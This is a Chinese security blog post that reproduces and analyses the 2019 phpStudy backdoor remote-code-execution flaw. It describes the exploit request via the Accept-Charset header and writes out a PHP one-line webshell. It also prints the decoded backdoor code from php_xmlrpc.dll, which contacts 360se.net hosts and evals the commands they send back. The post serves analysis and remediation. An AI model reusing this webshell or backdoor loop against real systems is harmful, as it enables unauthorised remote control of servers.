phpstudy后门RCE漏洞分析复现

作者: H0r2yC 分类: 漏洞利用 发布时间: 2019-09-29 16:56

0x01 phpstudy简介

phpStudy是一个PHP调试环境的程序集成包。该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境。该程序不仅包括PHP调试环境,还包括了开发工具、开发手册等。–百度百科

0x02 漏洞复现

在测试机中安装了phpstudy2018,底部获取漏洞版本安装包。

搭建完成后本机访问

base64加密payload

请求包中添加Accept-Charset,成功使用system函数执行了系统命令

写一句话,测试机无杀软waf。

file_put_contents('C:/phpstudy/PHPTutorial/www/123.php','<?php @eval($_POST[\'123\'])?>');

回显正常,访问正常

菜刀连接成功

0x03 漏洞分析

跟着大佬做一下后门漏洞分析。漏洞存在于ext文件夹下的php_xmlrpc.dll文件中

IDA打开,发现eval函数

跟踪eval函数到1000EC14位置

跟踪到函数sub_100031F0位置,F5查看伪代码,可以看到拼接了一个@eval(gzuncompress(‘%s’)),gzuncompress解压拼接了V41的数据

跟踪V41函数,可以看到使用了zeng_eval_string函数执行php语句

V41结构体

继续看代码,发现两个解压前DWORD数据存放地址1000D66C-1000E5C4,1000D028-1000D66C

使用了微步在线的python脚本将两个地址的数据解压,在进行base64解码,结果为

@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
    $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
    $out .= "Host: {$h}\r\n";
    $out .= "Accept-Encoding: compress,gzip\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    fclose($fp);
}
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
    $result = "";
  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); 
  if( !$handle ){
    $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
    if( !$handle ){
        return "err";
    }
  }
  fwrite($handle, $sendMsg."\n");
    while(!feof($handle)){
        stream_set_timeout($handle, 2);
        $result .= fread($handle, 1024);
        $info = stream_get_meta_data($handle);
        if ($info['timed_out']) {
          break;
        }
     }
  fclose($handle); 
  return $result; 
}

$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
    $n = false;
    foreach ($ds as $d){
        $b = false;
        foreach ($ps as $p){
            $result = tcpGet($i,$d.".360se.net",$p); 
            if ($result != "err"){
                $b =true;
                break;
            }
        }
        if ($b)break;
    }
    $info = explode("<^>",$result);
    if (count($info)==4){
        if (strpos($info[3],"/*Onemore*/") !== false){
            $info[3] = str_replace("/*Onemore*/","",$info[3]);
            $n=true;
        }
        @eval(base64_decode($info[3]));
    }
}while($n);

可以看到开启了一个socket通信,反弹到360se.net的20123端口,后门估计已经失效。

0x04 漏洞修复

更新到最新版本,对比官网文件hash值。

PhpStudy20180211.zip下载


参考文章:

https://www.cnblogs.com/-qing-/p/11562371.html

https://mp.weixin.qq.com/s?__biz=MzI5NjA0NjI5MQ==&mid=2650165920&idx=1&sn=ac45922b6cf1db0f3d3cf0a10872be06&chksm=f448a91cc33f200a32cdbd01535e227a4a81cd3ce843992e410d0e4d5b772914d1ac3d6324fe&mpshare=1&scene=1&srcid=&sharer_sharetime=1569082336079&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

     

公众号:网安成长笔记